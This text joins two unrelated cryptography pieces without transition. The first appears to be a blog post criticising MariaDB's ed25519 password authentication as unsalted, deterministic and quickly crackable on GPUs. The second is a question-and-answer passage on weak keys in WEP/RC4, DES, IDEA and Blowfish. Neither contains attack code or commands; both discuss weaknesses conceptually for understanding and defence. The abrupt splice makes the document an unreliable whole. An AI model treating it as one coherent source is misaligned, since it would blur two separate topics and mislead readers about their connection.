When setting password, the password is turned into bytes (don't know which encoding is used), then the password bytes are hashed with SHA-512 once, to produce the "left half" and the "right half" of an ed25519 private key. The "left half" (first 32 bytes of the hash output) (well, byte 0 and byte 31) is clamped to valid curve25519 private scalar "a", and this is multiplied by the curve generator to get group element "A", an ed25519 public key. The resulting value is serialized back to 32 bytes, and the value is then stored encoded with base64 (43 bytes without the final padding byte "=") as the user's hashed password.

This process is entirely deterministic - there is no salt.
Every user with the same password will have the same hashed password.
Every time a user changes their password back to a password they already used before, the hash of their password will be set to the hash used before. There is a unit test to verify this fact. Code, unit test.

What is sent during login?

When the client wants to login using this scheme, the server sends a 32 byte random nonce, the client asks user for password, generates the same ed25519 private key and performs what I'll trust is correct ed25519 signature of the nonce using the private key and send the signature back to the server. The server then does what I'll trust is correct ed25519 signature verification. If the signature is verified successfully then you're logged in.

This to me seems to be secure - performing an ed25519 signature of random 32 bytes should be secure and never reveal the private key itself, and the signed value is long so it won't repeat.

code: 1 2 3 4 5 6

Is the scheme secure without TLS?

Well, it won't trivially reveal your password to a network eavesdropper (though using mysql without TLS will reveal all your queries, all your data, and allow an active attacker to wait for you to login and then take over the connection and do whatever they want with it). I don't know how much better or worse this is than login by HMAC(password, random nonce), but I guess it's ok.

How resistant is it against password dumps?

Not at all. Since it's fully deterministic, it already fails. But can we crack the password hashes? curve25519 scalarmut on CPU is about 75,000 per second, but in 2013 it was about a million per second on GPU (source), so a modern password cracking rig can crack those passwords quite fast even without using a lookup table (which you can do because it's deterministic!). So it completely fails to be a decent password hash.

What is the name of this scheme?

No idea. "hash a password directly into a ed25519 private key"?

Is it used by anything else besides MariaDB?

I hope not.

Are there other implementations?

java , C#

Final words?

The MariaDB documentation strongly implies this is secure because it's exactly like what openssh does to authenticate by ed25519 keys, but shows examples which use human generated passwords, which never happen with ssh-keygen. This password hashing scheme is secure only when the "password" typed in by the human is a uniformly random value at least 256 bits long (64 hex bytes, 24 words chosen from a dictionary of 2048 words) - meaning a computer generated key, not a human generated password. This is completely insecure for human generated passwords!


How to determine if a key is a weak key How to do you decide that a particular key is a weak key? In the case of WEP, the weak keys seem to be those whose initialization vectors are in the form of (B + 3,255,x).

Does the condition for weak keys depend on the type of encryption function we use? For example in WEP we are XORing the plaintext and the key sequence to get the ciphertext.

Q: How to do you decide that a particular key is a weak key?

That depends on the cipher (the algorithm itself). According to Wikipedia:

  In cryptography, a weak key is a key, which, used with a specific cipher, makes the cipher behave in some undesirable way.

  Q: I got some things like in case of WEP , the weak keys are those whose initialization vectors are in the form of ( B + 3,255,x).

WEP uses RC4 which, again according to Wikipedia:

  Unlike a modern stream cipher (such as those in eSTREAM), RC4 does not take a separate nonce alongside the key. This means that if a single long-term key is to be used to securely encrypt multiple streams, the protocol must specify how to combine the nonce and the long-term key to generate the stream key for RC4.

So, unlike most ciphers, the weak keys include the IV. Unfortunately the key schedule of RC4 is weak, the IV of WEP too short and the construction of combining (concatenating) the key and IV too simplistic, leading to an attack.

  Q:and does the condition for weak keys depend on the type of encryption function we use . ex - in wep , finally we are XORing the plaintext and the key sequence to get the ciphertext

Again, it depends on the cipher.

What you describe above is the general construction that a stream cipher uses to encrypt data. There are stream ciphers that have weak keys or are otherwise vulnerable. But there are certainly stream ciphers that do not have weak keys and are considered secure.

The XOR of the key stream with the plaintext is not the issue here.

Other (block) ciphers with weak keys are IDEA, Blowfish. DES is probably the best known cipher with weak keys though:

  Since all the subkeys are identical, and DES is a Feistel network, the encryption function is self-inverting; that is, despite encrypting once giving a secure-looking cipher text, encrypting twice produces the original plaintext.

This means that if an attacker was to send back you the ciphertext as plaintext for you to encrypt (i.e. using you as an encryption oracle) that the attacker would retrieve the plaintext in the special case that weak keys were used.

Needless to say, modern ciphers try to avoid weak keys; each key should be as secure as any other key.